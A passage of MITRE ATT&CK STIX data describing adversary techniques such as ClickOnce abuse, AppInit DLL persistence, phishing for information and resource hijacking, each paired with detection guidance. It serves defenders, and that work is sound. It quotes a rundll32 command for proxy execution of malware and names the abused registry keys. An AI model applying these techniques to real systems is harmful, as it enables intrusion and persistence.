backdoor using antiquated code. Retrieved July 5, 2017.","url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"},{"source_name":"PowerShell About 2019","description":"Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.","url":"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8","type":"attack-pattern","created":"2019-04-09T16:08:20.824Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1493","url":"https://attack.mitre.org/techniques/T1493"},{"description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://content.fireeye.com/apt/rpt-apt38","source_name":"FireEye APT38 Oct 2018"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-03-02T14:27:49.110Z","name":"Transmitted Data Manipulation","description":"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_impact_type":["Integrity"],"x_mitre_permissions_required":["User","Administrator","root","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-17T18:50:41.474Z","name":"ClickOnce","description":"Adversaries may use ClickOnce applications (.appref-ms and .application files) to proxy execution of code through a trusted Windows utility.(Citation: Burke/CISA ClickOnce BlackHat) ClickOnce is a deployment that enables a user to create self-updating Windows-based .NET applications (i.e, .XBAP, .EXE, or .DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.(Citation: SpectorOps Medium ClickOnce)\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install.(Citation: Microsoft Learn ClickOnce) As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on [User Execution](https://attack.mitre.org/techniques/T1204). When a user visits a malicious website, the .NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.(Citation: NetSPI ClickOnce)\n\nAdversaries may also abuse ClickOnce to execute malware via a [Rundll32](https://attack.mitre.org/techniques/T1218/011) script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.(Citation: LOLBAS /Dfsvc.exe)\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)).(Citation: Burke/CISA ClickOnce BlackHat)(Citation: Burke/CISA ClickOnce Paper)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Wirapong Petshagun"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Process: Process Metadata","Module: Module Load"],"x_mitre_system_requirements":[".NET Framework"],"type":"attack-pattern","id":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","created":"2024-09-09T14:39:28.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1127/002","external_id":"T1127.002"},{"source_name":"LOLBAS /Dfsvc.exe","description":"LOLBAS. (n.d.). /Dfsvc.exe. Retrieved September 9, 2024.","url":"https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/"},{"source_name":"Microsoft Learn ClickOnce","description":"Microsoft. (2023, September 14). ClickOnce security and deployment. Retrieved September 9, 2024.","url":"https://learn.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2022"},{"source_name":"SpectorOps Medium ClickOnce","description":"Nick Powers. (2023, June 7). Less SmartScreen More Caffeine: (Ab)Using ClickOnce for Trusted Code Execution. Retrieved September 9, 2024.","url":"https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5"},{"source_name":"NetSPI ClickOnce","description":"Ryan Gandrud. (2015, March 23). All You Need Is One – A ClickOnce Love Story. Retrieved September 9, 2024.","url":"https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/"},{"source_name":"Burke/CISA ClickOnce Paper","description":"William J. Burke IV. (n.d.). Appref-ms Abuse for Code Execution & C2. Retrieved September 9, 2024.","url":"https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf?_gl=1*1jv89bf*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.256219723.1512103758.1724809895-1999078900.1724809894"},{"source_name":"Burke/CISA ClickOnce BlackHat","description":"William Joseph Burke III. (2019, August 7). CLICKONCE AND YOU’RE IN: When .appref-ms abuse is operating as intended. Retrieved September 9, 2024.","url":"https://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf?_gl=1*16njas6*_gcl_au*NjAyMzkzMjc3LjE3MjQ4MDk4OTQ.*_ga*MTk5OTA3ODkwMC4xNzI0ODA5ODk0*_ga_K4JK67TFYV*MTcyNDgwOTg5NC4xLjEuMTcyNDgwOTk1Ny4wLjAuMA..&_ga=2.253743689.1512103758.1724809895-1999078900.1724809894"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-30T18:35:58.021Z","name":"Python","description":"Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_remote_support":false,"x_mitre_system_requirements":["Python is installed."],"type":"attack-pattern","id":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","created":"2020-03-09T14:38:24.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/006","external_id":"T1059.006"},{"source_name":"Zscaler APT31 Covid-19 October 2020","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-13T15:48:46.391Z","name":"Relocate Malware","description":"Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Matt Anderson, @‌nosecurething, Huntress"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Modification"],"type":"attack-pattern","id":"attack-pattern--cc36eeae-2209-4e63-89d3-c97e19edf280","created":"2024-05-31T11:07:57.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/010","external_id":"T1070.010"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"DFIR Report Trickbot June 2023","description":"The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved May 31, 2024.","url":"https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","type":"attack-pattern","created":"2020-10-02T16:37:30.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.004","url":"https://attack.mitre.org/techniques/T1591/004"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:39:08.904Z","name":"Identify Roles","description":"Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-21T12:20:20.711Z","name":"Data Encoding","description":"Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","created":"2017-05-31T21:31:43.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1132","external_id":"T1132"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Wikipedia Binary-to-text Encoding","description":"Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.","url":"https://en.wikipedia.org/wiki/Binary-to-text_encoding"},{"source_name":"Wikipedia Character Encoding","description":"Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.","url":"https://en.wikipedia.org/wiki/Character_encoding"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-21T12:33:45.568Z","name":"AppInit DLLs","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Module: Module Load","Windows Registry: Windows Registry Key Modification","Process: OS API Execution"],"x_mitre_effective_permissions":["Administrator","SYSTEM"],"x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["Secure boot disabled on systems running Windows 8 and later"],"type":"attack-pattern","id":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","created":"2020-01-24T14:52:25.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/010","external_id":"T1546.010"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"},{"source_name":"AppInit Registry","description":"Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.","url":"https://support.microsoft.com/en-us/kb/197571"},{"source_name":"AppInit Secure Boot","description":"Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.","url":"https://msdn.microsoft.com/en-us/library/dn280412"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-31T04:18:44.570Z","name":"Phishing for Information","description":"Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Philip Winther","Sebastian Salla, McAfee","Robert Simmons, @MalwareUtkonos","Ohad Zaidenberg, @ohad_mz","Liora Itkin","Liran Ravich, CardinalOps","Scott Cook, Capital One"],"x_mitre_deprecated":false,"x_mitre_detection":"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.3","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Application Log: Application Log Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","created":"2020-10-02T17:07:01.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1598","external_id":"T1598"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Avertium callback phishing","description":"Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.","url":"https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"},{"source_name":"TrendMictro Phishing","description":"Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.","url":"https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"},{"source_name":"Sophos Attachment","description":"Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.","url":"https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"},{"source_name":"cyberproof-double-bounce","description":"Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.","url":"https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"},{"source_name":"PCMag FakeLogin","description":"Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.","url":"https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Microsoft OAuth Spam 2022","description":"Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"},{"source_name":"ThreatPost Social Media Phishing","description":"O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.","url":"https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/"},{"source_name":"Proofpoint-spoof","description":"Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.","url":"https://www.proofpoint.com/us/threat-reference/email-spoofing"},{"source_name":"GitHub Phishery","description":"Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.","url":"https://github.com/ryhanson/phishery"},{"source_name":"Palo Alto Unit 42 VBA Infostealer 2014","description":"Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.","url":"https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-13T17:00:09.759Z","name":"Resource Hijacking","description":"Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["David Fiser, @anu4is, Trend Micro","Alfredo Oliveira, Trend Micro","Jay Chen, Palo Alto Networks","Magno Logan, @magnologan, Trend Micro","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team","Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers","SaaS"],"x_mitre_version":"2.0","x_mitre_data_sources":["Cloud Service: Cloud Service Modification","Application Log: Application Log Content","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Creation","Network Traffic: Network Connection Creation","Sensor Health: Host Status","Process: Process Creation","Command: Command Execution"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","created":"2019-04-17T14:50:05.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1496","external_id":"T1496"},{"source_name":"Sysdig Cryptojacking Proxyjacking 2023","description":"Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.","url":"https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-28T21:08:56.520Z","name":"Establish Accounts","description":"Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) 